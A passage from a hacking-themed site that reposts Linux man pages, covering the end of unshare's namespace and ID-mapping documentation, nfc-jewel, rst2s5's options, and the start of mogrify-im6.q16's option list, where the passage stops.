Run the program only after the current effective user ID has been mapped to uid. If this option is specified multiple times, the last occurrence takes precedence. This option implies –user.

**–map-users=**inneruid:outeruid:count|auto|all

Run the program only after the block of user IDs of size count beginning at outeruid has been mapped to the block of user IDs beginning at inneruid. This mapping is created with newuidmap(1) if unshare was run unprivileged. If the range of user IDs overlaps with the mapping specified by –map-user, then a “hole” will be removed from the mapping. This may result in the highest user ID of the mapping not being mapped. Use –map-users multiple times to map more than one block of user IDs. The special value auto will map the first block of user IDs owned by the effective user from /etc/subuid to a block starting at user ID 0. The special value all will create a pass-through map for every user ID available in the parent namespace. This option implies –user.

Before util-linux version 2.39, this option expected a comma-separated argument of the form outeruid,inneruid,count but that format is now deprecated for consistency with the ordering used in /proc/[pid]/uid_map and the X-mount.idmap mount option.

**–map-group=**gid|name

Run the program only after the current effective group ID has been mapped to gid. If this option is specified multiple times, the last occurrence takes precedence. This option implies –setgroups=deny and –user.

**–map-groups=**innergid:outergid:count|auto|all

Run the program only after the block of group IDs of size count beginning at outergid has been mapped to the block of group IDs beginning at innergid. This mapping is created with newgidmap(1) if unshare was run unprivileged. If the range of group IDs overlaps with the mapping specified by –map-group, then a “hole” will be removed from the mapping. This may result in the highest group ID of the mapping not being mapped. Use –map-groups multiple times to map more than one block of group IDs. The special value auto will map the first block of user IDs owned by the effective user from /etc/subgid to a block starting at group ID 0. The special value all will create a pass-through map for every group ID available in the parent namespace. This option implies –user.

Before util-linux version 2.39, this option expected a comma-separated argument of the form outergid,innergid,count but that format is now deprecated for consistency with the ordering used in /proc/[pid]/gid_map and the X-mount.idmap mount option.

–map-auto

Map the first block of user IDs owned by the effective user from /etc/subuid to a block starting at user ID 0. In the same manner, also map the first block of group IDs owned by the effective group from /etc/subgid to a block starting at group ID 0. This option is intended to handle the common case where the first block of subordinate user and group IDs can map the whole user and group ID space. This option is equivalent to specifying –map-users=auto and –map-groups=auto.

-r, –map-root-user

Run the program only after the current effective user and group IDs have been mapped to the superuser UID and GID in the newly created user namespace. This makes it possible to conveniently gain capabilities needed to manage various aspects of the newly created namespaces (such as configuring interfaces in the network namespace or mounting filesystems in the mount namespace) even when run unprivileged. As a mere convenience feature, it does not support more sophisticated use cases, such as mapping multiple ranges of UIDs and GIDs. This option implies –setgroups=deny and –user. This option is equivalent to –map-user=0 –map-group=0.

-c, –map-current-user

Run the program only after the current effective user and group IDs have been mapped to the same UID and GID in the newly created user namespace. This option implies –setgroups=deny and –user. This option is equivalent to –map-user=$(id -ru) –map-group=$(id -rg).

–propagation private|shared|slave|unchanged

Recursively set the mount propagation flag in the new mount namespace. The default is to set the propagation to private. It is possible to disable this feature with the argument unchanged. The option is silently ignored when the mount namespace (–mount) is not requested.

–setgroups allow|deny

Allow or deny the setgroups(2) system call in a user namespace.

To be able to call setgroups(2), the calling process must at least have CAP_SETGID. But since Linux 3.19 a further restriction applies: the kernel gives permission to call setgroups(2) only after the GID map (**/proc/**pid*/gid_map*) has been set. The GID map is writable by root when setgroups(2) is enabled (i.e., allow, the default), and the GID map becomes writable by unprivileged processes when setgroups(2) is permanently disabled (with deny).

-R, **–root=**dir

run the command with root directory set to dir.

-w, **–wd=**dir

change working directory to dir.

-S, –setuid uid

Set the user ID which will be used in the entered namespace.

-G, –setgid gid

Set the group ID which will be used in the entered namespace and drop supplementary groups.

-l, **–load-interp=**string

Load binfmt_misc definition in the namespace (implies –mount-binfmt). The string argument is :name:type:offset:magic:mask:interpreter:flags. For more details about new binary type registration see <https://www.kernel.org/doc/Documentation/admin-guide/binfmt-misc.rst>. To manage the F flag in flags with –root parameter, binfmt_misc is mounted twice, once before the chroot to load the interpreter from the caller filesystem and once after to make it available from the chroot userspace.

–monotonic offset

Set the offset of CLOCK_MONOTONIC which will be used in the entered time namespace. This option requires unsharing a time namespace with –time.

–boottime offset

Set the offset of CLOCK_BOOTTIME which will be used in the entered time namespace. This option requires unsharing a time namespace with –time.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

NOTES

The proc and sysfs filesystems mounting as root in a user namespace have to be restricted so that a less privileged user cannot get more access to sensitive files that a more privileged user made unavailable. In short the rule for proc and sysfs is as close to a bind mount as possible.

EXAMPLES

The following command creates a PID namespace, using –fork to ensure that the executed command is performed in a child process that (being the first process in the namespace) has PID 1. The –mount-proc option ensures that a new mount namespace is also simultaneously created and that a new proc(5) filesystem is mounted that contains information corresponding to the new PID namespace. When the readlink(1) command terminates, the new namespaces are automatically torn down.

unshare –fork –pid –mount-proc readlink /proc/self

1

As an unprivileged user, create a new user namespace where the user’s credentials are mapped to the root IDs inside the namespace:

$ id -u; id -g 1000 1000 $ unshare –user –map-root-user
sh -c whoami; cat /proc/self/uid_map /proc/self/gid_map root 0 1000 1 0 1000 1

As an unprivileged user, create a user namespace where the first 65536 IDs are all mapped, and the user’s credentials are mapped to the root IDs inside the namespace. The map is determined by the subordinate IDs assigned in subuid(5) and subgid(5). Demonstrate this mapping by creating a file with user ID 1 and group ID 1. For brevity, only the user ID mappings are shown:

$ id -u 1000 $ cat /etc/subuid 1000:100000:65536 $ unshare –user –map-auto –map-root-user # id -u 0 # cat /proc/self/uid_map 0 1000 1 1 100000 65535 # touch file; chown 1:1 file # ls -ln –time-style=+ file -rw-r–r– 1 1 1 0 file # exit $ ls -ln –time-style=+ file -rw-r–r– 1 100000 100000 0 file

The first of the following commands creates a new persistent UTS namespace and modifies the hostname as seen in that namespace. The namespace is then entered with nsenter(1) in order to display the modified hostname; this step demonstrates that the UTS namespace continues to exist even though the namespace had no member processes after the unshare command terminated. The namespace is then destroyed by removing the bind mount.

touch /root/uts-ns

# unshare --uts=/root/uts-ns hostname FOO
# nsenter --uts=/root/uts-ns hostname
FOO
# umount /root/uts-ns

The following commands establish a persistent mount namespace referenced by the bind mount /root/namespaces/mnt. In order to ensure that the creation of that bind mount succeeds, the parent directory (/root/namespaces) is made a bind mount whose propagation type is not shared.

mount –bind /root/namespaces /root/namespaces

# mount --make-private /root/namespaces
# touch /root/namespaces/mnt
# unshare --mount=/root/namespaces/mnt

The following commands demonstrate the use of the –kill-child option when creating a PID namespace, in order to ensure that when unshare is killed, all of the processes within the PID namespace are killed.

set +m # Dont print job status messages

# unshare --pid --fork --mount-proc --kill-child -- \
       bash --norc -c (sleep 555 &) && (ps a &) && sleep 999 &
[1] 53456
#     PID TTY      STAT   TIME COMMAND
      1 pts/3    S+     0:00 sleep 999
      3 pts/3    S+     0:00 sleep 555
      5 pts/3    R+     0:00 ps a

# ps h -o comm $!     # Show that background job is unshare(1)
unshare
# kill $!               # Kill unshare(1)
# pidof sleep

The pidof(1) command prints no output, because the sleep processes have been killed. More precisely, when the sleep process that has PID 1 in the namespace (i.e., the namespace’s init process) was killed, this caused all other processes in the namespace to be killed. By contrast, a similar series of commands where the –kill-child option is not used shows that when unshare terminates, the processes in the PID namespace are not killed:

unshare –pid –fork –mount-proc – \

       bash --norc -c (sleep 555 &) && (ps a &) && sleep 999 &
[1] 53479
#     PID TTY      STAT   TIME COMMAND
      1 pts/3    S+     0:00 sleep 999
      3 pts/3    S+     0:00 sleep 555
      5 pts/3    R+     0:00 ps a

# kill $!
# pidof sleep
53482 53480

The following example demonstrates the creation of a time namespace where the boottime clock is set to a point several years in the past:

uptime -p # Show uptime in initial time namespace

up 21 hours, 30 minutes
# unshare --time --fork --boottime 300000000 uptime -p
up 9 years, 28 weeks, 1 day, 2 hours, 50 minutes

The following example execute a chroot into the directory /chroot/powerpc/jessie and install the interpreter /bin/qemu-ppc-static to execute the powerpc binaries.

$ unshare –map-root-user –fork –pid –load-interp=":qemu-ppc:M::\x7fELF\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/bin/qemu-ppc-static:OCF" –root=/chroot/powerpc/jessie /bin/bash -l

The load-interp parameter can be read as following

qemu-ppc

is the name of the new file created below /proc/sys/fs/binfmt_misc to register the interpreter

M

defines the interpreter for a given type of magic number

\x7fELF\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x1

is the magic number to recognize the file to interpret (in this case, the ELF header for PPC32)

\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff

the mask to apply to the magic number

/bin/qemu-ppc-static

the interpreter to use with the file

OCF

the file is open by the kernel with credential and security tokens of the file itself and loaded as soon as we register it.

AUTHORS

SEE ALSO

newuidmap(1), newgidmap(1), clone(2), unshare(2), namespaces(7), mount(8)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The unshare command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1406 - Linux cli command nfc-jewel

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nfc-jewel and provides detailed information about the command nfc-jewel, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nfc-jewel.

NAME 🖥️ nfc-jewel 🖥️

jewel - Jewel command line tool

SYNOPSIS

nfc-jewel r|w DUMP

DESCRIPTION

nfc-jewel is a Jewel tool that allows one to read or write a tag data to/from a DUMP file.

Jewel tag by Broadcom, previously Innovision, uses a binary Dump file to store data for all sectors.

Be cautious that some parts of a Jewel memory can be written only once and some parts are used as lock bits, so please read the tag documentation before experimenting too much!

OPTIONS

r | w Perform read from ( r ) or write to ( w ) card.

DUMP
JeWel Dump (JWD) used to write (card to JWD) or (JWD to card)

BUGS

Please report any bugs on the libnfc issue tracker at:
https://github.com/nfc-tools/libnfc/issues

LICENCE

libnfc is licensed under the GNU Lesser General Public License (LGPL), version 3.
libnfc-utils and libnfc-examples are covered by the the BSD 2-Clause license.

AUTHORS

Roel Verdult <[email protected]>,
Romuald Conty <[email protected]>.

This manual page was written by Romuald Conty <[email protected]>. It is licensed under the terms of the GNU GPL (version 2 or later).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1407 - Linux cli command rst2s5

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rst2s5 and provides detailed information about the command rst2s5, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rst2s5.

NAME 🖥️ rst2s5 🖥️

convert reST documents to S5 slides

SYNOPSIS

rst2s5 [options] [<source> [<destination>]]

DESCRIPTION

Generate S5 HTML slideshow documents from standalone reStructuredText sources < <https://docutils.sourceforge.io/docs/user/slide-shows.html> >. Reads from <source> (default is stdin) and writes to <destination> (default is stdout). See <https://docutils.sourceforge.io/docs/user/config.html> for a detailed settings reference.

OPTIONS

General Docutils Options

–output=*****<destination>*
Output destination name. Obsoletes the <destination> positional argument. Default: None (stdout).

–title=*****<title>*
Specify the document title as metadata.

–generator,** -g**
Include a “Generated by Docutils” credit and link.

–no-generator
Do not include a generator credit.

–date,** -d**
Include the date at the end of the document (UTC).

–time,** -t**
Include the time & date (UTC).

–no-datestamp
Do not include a datestamp of any kind.

–root-prefix=*****<path>*
Base directory for absolute paths when reading from the local filesystem. Default “/”.

–source-link,** -s**
Include a “View document source” link.

–source-url=*****<URL>*
Use <URL> for a source link; implies –source-link.

–no-source-link
Do not include a “View document source” link.

–toc-entry-backlinks
Link from section headers to TOC entries. (default)

–toc-top-backlinks
Link from section headers to the top of the TOC.

–no-toc-backlinks
Disable backlinks to the table of contents.

–footnote-backlinks
Link from footnotes/citations to references. (default)

–no-footnote-backlinks
Disable backlinks from footnotes and citations.

–section-numbering
Enable section numbering by Docutils. (default)

–no-section-numbering
Disable section numbering by Docutils.

–strip-comments
Remove comment elements from the document tree.

–leave-comments
Leave comment elements in the document tree. (default)

–strip-elements-with-class=*****<class>*
Remove all elements with classes="<class>" from the document tree. Warning: potentially dangerous; use with caution. (Multiple-use option.)

–strip-class=*****<class>*
Remove all classes="<class>" attributes from elements in the document tree. Warning: potentially dangerous; use with caution. (Multiple-use option.)

–report=<level>, -r* <level>*
Report system messages at or higher than <level>: “info” or “1”, “warning”/“2” (default), “error”/“3”, “severe”/“4”, “none”/“5”

–verbose, -v
Report all system messages. (Same as “–report=1”.)

–quiet, -q
Report no system messages. (Same as “–report=5”.)

–halt=*****<level>*
Halt execution at system messages at or above <level>. Levels as in –report. Default: 4 (severe).

–strict
Halt at the slightest problem. Same as “–halt=info”.

–exit-status=*****<level>*
Enable a non-zero exit status for non-halting system messages at or above <level>. Default: 5 (disabled).

–debug
Enable debug-level system messages and diagnostics.

–no-debug
Disable debug output. (default)

–warnings=*****<file>*
Send the output of system messages to <file>.

–traceback
Enable Python tracebacks when Docutils is halted.

–no-traceback
Disable Python tracebacks. (default)

–input-encoding=<name[:handler]>, -i* <name[:handler]>*
Specify the encoding and optionally the error handler of input text. Default: <auto-detect>:strict.

–input-encoding-error-handler=****INPUT_ENCODING_ERROR_HANDLER
Specify the error handler for undecodable characters. Choices: “strict” (default), “ignore”, and “replace”.

–output-encoding=<name[:handler]>, -o* <name[:handler]>*
Specify the text encoding and optionally the error handler for output. Default: utf-8:strict.

–output-encoding-error-handler=****OUTPUT_ENCODING_ERROR_HANDLER
Specify error handler for unencodable output characters; “strict” (default), “ignore”, “replace”, “xmlcharrefreplace”, “backslashreplace”.

–error-encoding=<name[:handler]>, -e* <name[:handler]>*
Specify text encoding and optionally error handler for error output. Default text encoding: system encoding. Default error handler: backslashreplace.

–error-encoding-error-handler=****ERROR_ENCODING_ERROR_HANDLER
Specify the error handler for unencodable characters in error output. Default: backslashreplace.

–language=<name>, -l* <name>*
Specify the language (as BCP 47 language tag). Default: en.

–record-dependencies=*****<file>*
Write output file dependencies to <file>.

–config=*****<file>*
Read configuration settings from <file>, if it exists.

–version,** -V**
Show this program’s version number and exit.

–help,** -h**
Show this help message and exit.

Generic Parser Options

–no-file-insertion
Disable directives that insert the contents of an external file; replaced with a “warning” system message.

–file-insertion-enabled
Enable directives that insert the contents of an external file. (default)

–no-raw
Disable the “raw” directive; replaced with a “warning” system message.

–raw-enabled
Enable the “raw” directive. (default)

–line-length-limit=*****<length>*
Maximal number of characters in an input line. Default 10 000.

reStructuredText Parser Options

–pep-references
Recognize and link to standalone PEP references (like “PEP 258”).

–pep-base-url=*****<URL>*
Base URL for PEP references (default " <https://peps.python.org/> “).

–pep-file-url-template=*****<URL>*
Template for PEP file part of URL. (default “pep-%04d”)

–rfc-references
Recognize and link to standalone RFC references (like “RFC 822”).

–rfc-base-url=*****<URL>*
Base URL for RFC references (default " <https://tools.ietf.org/html/> “).

–tab-width=*****<width>*
Set number of spaces for tab expansion (default 8).

–trim-footnote-reference-space
Remove spaces before footnote references.

–leave-footnote-reference-space
Leave spaces before footnote references.

–syntax-highlight=*****<format>*
Token name set for parsing code with Pygments: one of “long”, “short”, or “none” (no parsing). Default is “long”.

–smart-quotes=*****<yes/no/alt>*
Change straight quotation marks to typographic form: one of “yes”, “no”, “alt[ernative]” (default “no”).

–smartquotes-locales=*****<language:quotes[,language:quotes,…]>*
Characters to use as “smart quotes” for <language>.

–word-level-inline-markup
Inline markup recognized at word boundaries only (adjacent to punctuation or whitespace). Force character-level inline markup recognition with "” (backslash + space). Default.

–character-level-inline-markup
Inline markup recognized anywhere, regardless of surrounding characters. Backslash-escapes must be used to avoid unwanted markup recognition. Useful for East Asian languages. Experimental.

Standalone Reader Options

–no-doc-title
Disable the promotion of a lone top-level section title to document title (and subsequent section title to document subtitle promotion; enabled by default).

–no-doc-info
Disable the bibliographic field list transform (enabled by default).

–section-subtitles
Activate the promotion of lone subsection titles to section subtitles (disabled by default).

–no-section-subtitles
Deactivate the promotion of lone subsection titles.

HTML Writer Options

–template=*****<file>*
Template file. (UTF-8 encoded, default: “/usr/share/docutils/writers/html4css1/template.txt”)

–stylesheet=*****<URL[,URL,…]>*
Comma separated list of stylesheet URLs. Overrides previous –stylesheet and –stylesheet-path settings.

–stylesheet-path=*****<file[,file,…]>*
Comma separated list of stylesheet paths. Relative paths are expanded if a matching file is found in the –stylesheet-dirs. With –link-stylesheet, the path is rewritten relative to the output HTML file. (default: “html4css1.css”)

–stylesheet-dirs=*****<dir[,dir,…]>*
Comma-separated list of directories where stylesheets are found. Used by –stylesheet-path when expanding relative path arguments. (default: “.,/usr/share/docut ils/writers/html4css1,/usr/share/docutils/writers/html 5_polyglot”)

–embed-stylesheet
Embed the stylesheet(s) in the output HTML file. The stylesheet files must be accessible during processing. (default)

–link-stylesheet
Link to the stylesheet(s) in the output HTML file.

–initial-header-level=*****<level>*
Specify the initial header level. Does not affect document title & subtitle (see –no-doc-title). (default: 1 for “<h1>”)

–footnote-references=*****<format>*
Format for footnote references: one of “superscript” or “brackets”. (default: “brackets”)

–attribution=*****<format>*
Format for block quote attributions: one of “dash” (em-dash prefix), “parentheses”/“parens”, or “none”. (default: “dash”)

–compact-lists
Remove extra vertical whitespace between items of “simple” bullet lists and enumerated lists. (default)

–no-compact-lists
Disable compact simple bullet and enumerated lists.

–compact-field-lists
Remove extra vertical whitespace between items of simple field lists. (default)

–no-compact-field-lists
Disable compact simple field lists.

–table-style=****TABLE_STYLE
Added to standard table classes. Defined styles: borderless, booktabs, align-left, align-center, align- right, colwidths-auto, colwidths-grid.

–math-output=****MATH_OUTPUT
Math output format (one of “MathML”, “HTML”, “MathJax”, or “LaTeX”) and option(s). (default: “HTML math.css”)

–xml-declaration
Prepend an XML declaration (default).

–no-xml-declaration
Omit the XML declaration.

–cloak-email-addresses
Obfuscate email addresses to confuse harvesters while still keeping email links usable with standards- compliant browsers.

HTML4 Writer Options

–field-name-limit=*****<level>*
Specify the maximum width (in characters) for one- column field names. Longer field names will span an entire row of the table used to render the field list. Default is 14 characters. Use 0 for “no limit”.

–option-limit=*****<level>*
Specify the maximum width (in characters) for options in option lists. Longer options will span an entire row of the table used to render the option list. Default is 14 characters. Use 0 for “no limit”.

S5 Slideshow Specific Options

For the S5/HTML writer, the –no-toc-backlinks option (defined in General Docutils Options above) is the default, and should not be changed.

–theme=*****<name>*
Specify an installed S5 theme by name. Overrides –theme-url. The default theme name is “default”. The theme files will be copied into a “ui/<theme>” directory, in the same directory as the destination file (output HTML). Note that existing theme files will not be overwritten (unless –overwrite-theme- files is used).

–theme-url=*****<URL>*
Specify an S5 theme URL. The destination file (output HTML) will link to this theme; nothing will be copied. Overrides –theme.

–overwrite-theme-files
Allow existing theme files in the ui/<theme> directory to be overwritten. The default is not to overwrite theme files.

–keep-theme-files
Keep existing theme files in the ui/<theme> directory; do not overwrite any. This is the default.

–view-mode=*****<mode>*
Set the initial view mode to “slideshow” [default] or “outline”.

–hidden-controls
Normally hide the presentation controls in slideshow mode. This is the default.

–visible-controls
Always show the presentation controls in slideshow mode. The default is to hide the controls.

–current-slide
Enable the current slide indicator (“1 / 15”). The default is to disable it.

–no-current-slide
Disable the current slide indicator. This is the default.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1408 - Linux cli command mogrify-im6.q16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mogrify-im6.q16 and provides detailed information about the command mogrify-im6.q16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mogrify-im6.q16.

NAME 🖥️ mogrify-im6.q16 🖥️

resize an image, blur, crop, despeckle, dither, draw on, flip, join, re-sample, and much more. Mogrify overwrites the original image file, whereas, convert-im6.q16(1) writes to a different image file.

SYNOPSIS

mogrify-im6.q16 [options] input-file

OVERVIEW

The mogrify-im6.q16 program is a member of the ImageMagick-ims6.q16(1) suite of tools. Use it to resize an image, blur, crop, despeckle, dither, draw on, flip, join, re-sample, and much more. This tool is similar to convert-im6.q16(1) except the original image file is overwritten with any changes you request.

For more information about the mogrify command, point your browser to file:///usr/share/doc/imagemagick-6-common/html/www/mogrify.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/mogrify.php.

DESCRIPTION

Image Settings: -adjoin join images into a single multi-image file -affine matrix affine transform matrix -alpha option activate, deactivate, reset, or set the alpha channel -antialias remove pixel-aliasing -authenticate value decrypt image with this password -attenuate value lessen (or intensify) when adding noise to an image -background color background color -bias value add bias when convolving an image -black-point-compensation use black point compensation -blue-primary point chromaticity blue primary point -bordercolor color border color -caption string assign a caption to an image -cdl filename color correct with a color decision list -channel type apply option to select image channels -colors value preferred number of colors in the image -colorspace type alternate image colorspace -comment string annotate image with comment -compose operator set image composite operator -compress type type of pixel compression when writing the image -decipher filename convert cipher pixels to plain pixels -define format:option define one or more image format options -delay centiseconds display the next image after pausing -density geometry horizontal and vertical density of the image -depth value image depth -direction type render text right-to-left or left-to-right -display server get image or font from this X server -dispose method layer disposal method -dither method apply error diffusion to image -encipher filename convert plain pixels to cipher pixels -encoding type text encoding type -endian type endianness (MSB or LSB) of the image -family name render text with this font family -features distance analyze image features (e.g. contrast, correlation) -fill color color to use when filling a graphic primitive -filter type use this filter when resizing an image -flatten flatten a sequence of images -font name render text with this font -format type image format type -function name apply a function to the image -fuzz distance colors within this distance are considered equal -gravity type horizontal and vertical text placement -green-primary point chromaticity green primary point -intensity method method to generate intensity value from pixel -intent type type of rendering intent when managing the image color -interlace type type of image interlacing scheme -interline-spacing value set the space between two text lines -interpolate method pixel color interpolation method -interword-spacing value set the space between two words -kerning value set the space between two letters -label string assign a label to an image -limit type value pixel cache resource limit -loop iterations add Netscape loop extension to your GIF animation -mask filename associate a mask with the image -matte store matte channel if the image has one -mattecolor color frame color -metric type measure differences between images with this metric -monitor monitor progress -morphology method kernel apply a morphology method to the image -orient type image orientation -page geometry size and location of an image canvas (setting) -path path write images to this path on disk -ping efficiently determine image attributes -pointsize value font point size -precision value maximum number of significant digits to print -preview type image preview type -quality value JPEG/MIFF/PNG compression level -quiet suppress all warning messages -red-primary point chromaticity red primary point -regard-warnings pay attention to warning messages -remap filename transform image colors to match this set of colors -repage geometry size and location of an image canvas -respect-parentheses settings remain in effect until parenthesis boundary -sampling-factor geometry horizontal and vertical sampling factor -scene value image scene number -seed value seed a new sequence of pseudo-random numbers -size geometry width and height of image -stretch type render text with this font stretch -stroke color graphic primitive stroke color -strokewidth value graphic primitive stroke width -style type render text with this font style -synchronize synchronize image to storage device -taint declare the image as modified -texture filename name of texture to tile onto the image background -tile-offset geometry tile offset -treedepth value color tree depth -transparent-color color transparent color -undercolor color annotation bounding box color -units type the units of image resolution -verbose print detailed information about the image -view FlashPix viewing transforms -virtual-pixel method virtual pixel access method -weight type render text with this font weight -white-point point chromaticity white point

Image Operators: -adaptive-blur geometry adaptively blur pixels; decrease effect near edges -adaptive-resize geometry adaptively resize image with data dependent triangulation -adaptive-sharpen geometry adaptively sharpen pixels; increase effect near edges -alpha option on, activate, off, deactivate, set, opaque, copy transparent, extract, background, or shape -annotate geometry text annotate the image with text -auto-gamma automagically adjust gamma level of image -auto-level automagically adjust color levels of image -auto-orient automatically orient image -bench iterations measure performance -black-threshold value force all pixels below the threshold into black -blue-shift simulate a scene at nighttime in the moonlight -blur geometry reduce image noise and reduce detail levels -border geometry surround image with a border of color -bordercolor color border color -brightness-contrast geometry improve brightness / contrast of the image -cdl filename color correct with a color decision list -canny geometry detect edges in the image -charcoal radius simulate a charcoal drawing -chop geometry remove pixels from the image interior -clamp keep pixel values in range (0-QuantumRange) -clip clip along the first path from the 8BIM profile -clip-mask filename associate a clip mask with the image -clip-path id clip along a named path from the 8BIM profile -colorize value colorize the image with the fill color -color-matrix matrix apply color correction to the image -connected-component connectivity connected-components uniquely labeled -contrast enhance or reduce the image contrast -contrast-stretch geometry improve contrast by `stretching’ the intensity range -convolve coefficients apply a convolution kernel to the image -cycle amount cycle the image colormap -decipher filename convert cipher pixels to plain pixels -deskew threshold straighten an image -despeckle reduce the speckles within an image -distort method args distort images according to given method and args -draw string annotate the image with a graphic primitive -edge radius apply a filter to detect edges in the image -encipher filename convert plain pixels to cipher pixels -emboss radius emboss an image -enhance apply a digital filter to enhance a noisy image -equalize perform histogram equalization to an image -evaluate operator value evaluate an arithmetic, relational, or logical expression -extent geometry set the image size -extract geometry extract area from image -features distance analyze image features (e.g. contrast, correlation) -fft implements the discrete Fourier transform (DFT) -flip flip image vertically -floodfill geometry color floodfill the image with color -flop flop image horizontally -frame geometry surround image with an ornamental border -function name parameters apply function over image values -gamma value level of gamma correction -gaussian-blur geometry reduce image noise and reduce detail levels -geometry geometry preferred size or location of the image -grayscale method convert image to grayscale -ift implements the inverse discrete Fourier transform (DFT) -help print program options -hough-lines geometry identify lines in the image -identify identify the format and characteristics of the image -ift implements the inverse discrete Fourier transform (DFT) -implode amount implode image pixels about the center -lat geometry local adaptive thresholding -layers method optimize or compare image layers -level value adjust the level of image contrast -level-colors color,color level image with the given colors -linear-stretch geometry improve contrast by `stretching with saturation’ the intensity range -liquid-rescale geometry rescale image with seam-carving -magnify double the size of the image with pixel art scaling -mean-shift geometry delineate arbitrarily shaped clusters in the image -median geometry apply a median filter to the image -mode geometry make each pixel the ‘predominant color’ of the neighborhood -modulate value vary the brightness, saturation, and hue -monochrome transform image to black and white -morphology method kernel apply a morphology method to the image -motion-blur geometry simulate motion blur -negate replace each pixel with its complementary color -noise geometry add or reduce noise in an image -normalize transform image to span the full range of colors -opaque color change this color to the fill color -ordered-dither NxN add a noise pattern to the image with specific amplitudes -paint radius simulate an oil painting -perceptible epsilon pixel value less than |epsilon| become epsilon or -epsilon -polaroid angle simulate a Polaroid picture -posterize levels reduce the image to a limited number of color levels -print string interpret string and print to console -profile filename add, delete, or apply an image profile -quantize colorspace reduce colors in this colorspace -radial-blur angle radial blur the image -raise value lighten/darken image edges to create a 3-D effect -random-threshold low,high random threshold the image -region geometry apply options to a portion of the image -render render vector graphics -resample geometry change the resolution of an image -resize geometry resize the image -roll geometry roll an image vertically or horizontally -rotate degrees apply Paeth rotation to the image -sample geometry scale image with pixel sampling -scale geometry scale the image -segment values segment an image -selective-blur geometry selectively blur pixels within a contrast threshold -sepia-tone threshold simulate a sepia-toned photo -set property value set an image property -shade degrees shade the image using a distant light source -shadow geometry simulate an image shadow -sharpen geometry sharpen the image -shave geometry shave pixels from the image edges -shear geometry slide one edge of the image along the X or Y axis -sigmoidal-contrast geometry lightness rescaling using sigmoidal contrast enhancement -sketch geometry simulate a pencil sketch -solarize threshold negate all pixels above the threshold level -sparse-color method args fill in a image based on a few color points -splice geometry splice the background color into the image -spread amount displace image pixels by a random amount -statistic type geometry replace each pixel with corresponding statistic from the neighborhood -strip strip image of all profiles and comments -swirl degrees swirl image pixels about the center -threshold value threshold 